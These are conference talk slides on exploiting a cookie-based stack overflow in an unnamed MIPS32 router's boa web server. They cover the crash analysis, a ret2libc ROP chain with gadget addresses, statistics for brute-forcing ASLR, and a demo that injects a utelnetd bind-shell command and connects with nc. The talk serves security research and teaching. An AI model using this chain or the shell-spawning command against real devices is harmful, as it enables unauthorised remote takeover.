➗ Bypassing ASLR on MIPS32

using simple mathematics

(aka bruteforce with elegance)

Frederick Kaludis from **Quarkslab**

🍇 WineRump

🗓️ September 2025 - Bordeaux

📕 Quick context: ASLR?

- **ASLR**: Address Space Layout Randomization
- Protects against exploits by making memory addresses unpredictable
- MIPS32: Embedded architecture used in routers, IoT devices, and more

🎯 The target: <REDACTED>

- No contact has been made with the vendor (I have very little free time)
- I focus on the router's Web interface
- Accessing the router through the UART serial port allows control, debugging, and instrumentation

🚩 Goals

1. Use *gdbserver* to instrument the target
2. Test exploitability through crash and analysis of registers altered by our payload
3. Construct a ROP chain to invoke `system()` when **ASLR turned off**
4. When **ASLR turned on**, use statistical analysis (➗ operator) to predict addresses and bypass protection

🛠️ Instrument the target

- Debug for remote process */userfs/bin/boa*
    - Set up HTTP server on host to serve the debugger for download

On the host:

```
python3 -m http.server
```

🛠️ Instrument the target

- Place the debugger on the target device
- Use command to attach the debugger to the target process

On the target:

```
wget http://192.168.1.2:8000/gdbserver -o /tmp/gdbserver && chmod +x /tmp/gdbserver
/tmp/gdbserver --attach 192.168.1.1:1337 $(ps|grep boa|grep -v grep|cut -d " " -f 1)
```

On the host:

```
(gdb) target remote 192.168.1.1:1337
(gdb) set follow-fork-mode child
```

💥 Crash and analysis of registers

- Verify exploitability of the vulnerability
  - Crash the process using the payload
  - Inspect registers modified by the payload
    - Use identifiable markers to determine offset values for register control (`S0 = 68384268`)

```
>>> chr(0x68)+chr(0x38)+chr(0x42)+chr(0x68)
'h8Bh'
```

💥 Crash and analysis of registers

```python
import socket

PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    ... + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
request  = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
fd.send(request)
```

💥 Crash and analysis of registers

```
(gdb) info reg
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 181020e1 ffffffff 0000004b 7f996b00 00000001 00dc8e18 00000010
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000011 2b721668 00000001 fffffff8 00000025 fffffffc 0000002a 0000006d
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  68384268 39426930 42693142 69324269 33426934 42693542 69364269 37426938
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000030 00000000 7f996934 00000000 0045f6d0 7f9970d8 42693942 6a30426a
        status       lo       hi badvaddr    cause       pc
      01000313 3141a400 00000755 6a30426a 10805010 6a30426a
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
        dspctl  restart
      00000000 00000000
```

💥 Crash and analysis of registers

s0	s1	s2	s3	s4	s5
68384268	39426930	42693142	69324269	33426934	42693542
h8Bh	9Bi0	Bi1B	i2Bi	3Bi4	Bi5B

s6	s7	s8	sp	ra
69364269	37426938	42693942	7fbedd58	6a30426a
i6Bi	7Bi8	Bi9B	0x7fbedd58 point to 0x31426a32 = 1Bj2	j0Bj

🕷 ROP chain to invoke `system()`

- Identified ROP chain to call `system()` with controlled first argument
- Exploit bug using Ret2Libc technique: set `sp` in `a0` and call `system()`

```
objdump -D libc.so.0|grep system
0004683c <svcerr_systemerr>:
00059bb0 <__libc_system>:
   59be4:       10800063        beqz    a0,59d74 <__libc_system+0x1c4>
   59c38:       04410010        bgez    v0,59c7c <__libc_system+0xcc>
   59c74:       1000003f        b       59d74 <__libc_system+0x1c4>
   59c7c:       1440001b        bnez    v0,59cec <__libc_system+0x13c>
   59d2c:       14620002        bne     v1,v0,59d38 <__libc_system+0x188>
```

🕷 ROP chain to invoke `system()`

Gadget 1: 0x0000c670

```
move $t9, $s1;                  # t9 = s1
jalr $t9;                       # jalr t9
addiu $a1, $sp, 0xb8;           # a1 = sp + 0xb8
```

Gadget 2: 0x00041980

```
move $a0, $a1;                  # a0 = a1
addiu $a2, $zero, 0xc;          # a2 = 0xc
move $t9, $s0;                  # t9 = s0
jalr $t9;                       # jalr t9
move $a1, $zero;                # a1 = 0
```

🎲 Predict addresses and bypass protection

- Analyzed ASLR impact on libc's base address using iterative method
- Since *boa* auto-restarts on crash, repeat the following steps:
  - Kill the *boa* process to force restart

```
kill $(ps | grep boa | grep -v grep | cut -d " " -f 1)
```

- Retrieve libc base address from new process memory maps

```
cat /proc/$(ps | grep boa | grep -v grep | cut -d ' ' -f 1)/maps | grep "/lib/libc.so.0" | grep xp
```

🎲 Predict addresses and bypass protection

- After multiple iterations, collected the following results:

```
2b12b000-2b192000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
...
2b0cf000-2b136000 r-xp 00000000 1f:03 1169       /lib/libc.so.0
```

Segment	Value	Size	Description
Prefix	`0x2b`	1 byte	Fixed
First value	`1`	½ byte (nibble)	Random part
Second value	`2`	½ byte (nibble)	Random part
Third value	`b`	½ byte (nibble)	Random part
Suffix	`000`	1.5 bytes	Fixed

🎲 Predict addresses and bypass protection

- Discovered libc's base address depends on only 3 random values (4,096 possibilities)
- Remaining address parts are fixed
- Multithreaded exploit can brute-force libc base address
  - Target binary is automatically restarted by the system after each crash
  - Allows multiple attempts in quick succession, increasing the chances of success

📊 Values distribution analysis

- Repeatedly launch and kill *boa* process to observe ASLR effects

🛢 Dataset 1:

value	prefix
0x2a	44/256 (17.1875%)
0x2b	212/256 (82.8125%)

🛢 Dataset 2:

value	prefix
0x2a	37/256 (14.453125%)
0x2b	219/256 (85.546875)

📊 Values distribution analysis (Dataset 1)

value	first value	second value	third value
0x0	13/256 (5.078125%)	16/256 (6.25%)	0/256 (0.0%)
0x1	19/256 (7.421875%)	13/256 (5.078125%)	26/256 (10.15625%)
0x2	12/256 (4.6875%)	20/256 (7.8125%)	0/256 (0.0%)
0x3	24/256 (9.375%)	12/256 (4.6875%)	41/256 (16.015625%)
0x4	18/256 (7.03125%)	21/256 (8.203125%)	0/256 (0.0%)
0x5	16/256 (6.25%)	25/256 (9.765625%)	33/256 (12.890625%)
0x6	14/256 (5.46875%)	15/256 (5.859375%)	0/256 (0.0%)
0x7	18/256 (7.03125%)	21/256 (8.203125%)	29/256 (11.328125%)
0x8	20/256 (7.8125%)	20/256 (7.8125%)	1/256 (0.390625%)
0x9	16/256 (6.25%)	8/256 (3.125%)	23/256 (8.984375%)
0xa	10/256 (3.90625%)	11/256 (4.296875%)	1/256 (0.390625%)
0xb	16/256 (6.25%)	13/256 (5.078125%)	24/256 (9.375%)
0xc	15/256 (5.859375%)	16/256 (6.25%)	1/256 (0.390625%)
0xd	18/256 (7.03125%)	17/256 (6.640625%)	31/256 (12.109375%)
0xe	18/256 (7.03125%)	17/256 (6.640625%)	2/256 (0.78125%)
0xf	9/256 (3.515625%)	11/256 (4.296875%)	44/256 (17.1875%)

📊 Values distribution analysis (Dataset 2)

value	first value	second value	third value
0x0	14/256 (5.46875%)	18/256 (7.03125%)	0/256 (0.0%)
0x1	17/256 (6.640625%)	17/256 (6.640625%)	35/256 (13.671875%)
0x2	15/256 (5.859375%)	18/256 (7.03125%)	0/256 (0.0%)
0x3	14/256 (5.46875%)	8/256 (3.125%)	26/256 (10.15625%)
0x4	17/256 (6.640625%)	12/256 (4.6875%)	1/256 (0.390625%)
0x5	15/256 (5.859375%)	14/256 (5.46875%)	23/256 (8.984375%)
0x6	20/256 (7.8125%)	16/256 (6.25%)	1/256 (0.390625%)
0x7	19/256 (7.421875%)	22/256 (8.59375%)	30/256 (11.71875%)
0x8	16/256 (6.25%)	12/256 (4.6875%)	0/256 (0.0%)
0x9	14/256 (5.46875%)	17/256 (6.640625%)	33/256 (12.890625%)
0xa	23/256 (8.984375%)	20/256 (7.8125%)	0/256 (0.0%)
0xb	16/256 (6.25%)	13/256 (5.078125%)	30/256 (11.71875%)
0xc	15/256 (5.859375%)	14/256 (5.46875%)	0/256 (0.0%)
0xd	24/256 (9.375%)	20/256 (7.8125%)	43/256 (16.796875%)
0xe	13/256 (5.078125%)	18/256 (7.03125%)	1/256 (0.390625%)
0xf	4/256 (1.5625%)	17/256 (6.640625%)	33/256 (12.890625%)

🔎 Results analysis

- Based on observed probabilities, we can reduce the search space:
    - 🏆 From 4096 values to 1920 values
        - Prefix
            - High probability (> 80%) of prefix being `0x2b`
        - 1️⃣ First Value
            - Low probability (< 4%) of first value being `0xf`
        - 3️⃣ Third Value
            - Very low probability (≈ 0%) of third value being an even number

🙏 Thank you!

```
~/Downloads — rlwrap nc 192.168.1.1 1337 — rlwrap — rlwrap nc 192.168.1.1 1337 ▸ nc
┌─f4rr3l@diehard ~/Downloads
└─$ python3 exploit.py 192.168.1.1 80
[*] Brute forcing libc's bases address ...
[*] Checking if exploit succeed ...
[+] Exploit succeed:
        - Executed command: $(utelnetd -l/bin/sh -p1337)#
┌─f4rr3l@diehard ~/Downloads
└─$ rlwrap nc 192.168.1.1 1337
??uname -a
uname -a
Linux tc 2.6.36 #4 SMP Thu Aug 6 10:17:47 CST 2020 mips unknown
# 
```

Any questions?

🐙

4920616d204d6174686965752046617272656c6c27732062726f7
46865722e